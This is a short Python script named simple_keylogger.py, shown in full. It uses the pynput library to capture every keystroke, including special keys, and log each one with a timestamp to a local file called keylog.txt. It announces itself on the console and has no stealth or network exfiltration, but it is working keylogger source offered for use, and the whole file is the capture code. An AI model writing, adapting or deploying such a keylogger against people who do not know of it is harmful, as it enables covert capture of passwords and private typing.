

simple_keylogger.py

```
1 from pynput import keyboard
2 import logging
3 import os
4
5 # Set log file path
6 log_file = "keylog.txt"
7
8 # Configure logging
9 logging.basicConfig(filename=log_file,
10                     level=logging.DEBUG,
11                     format='%(asctime)s: %(message)s')
12
13 def on_press(key):
14     try:
15         logging.info(f'Key pressed: {key.char}')
16     except AttributeError:
17         logging.info(f'Special key pressed: {key}')
18
19 def main():
20     print("🔑 Simple Keylogger Started...")
21     print(f"🔒 Logging keys to: {os.path.abspath(log_file)}")
22     print("⚠️ Press Ctrl+C in the terminal to stop.")
23
24     # Start listening to the keyboard
25     with keyboard.Listener(on_press=on_press) as listener:
26         listener.join()
27
28 if __name__ == "__main__":
29     main()
30
```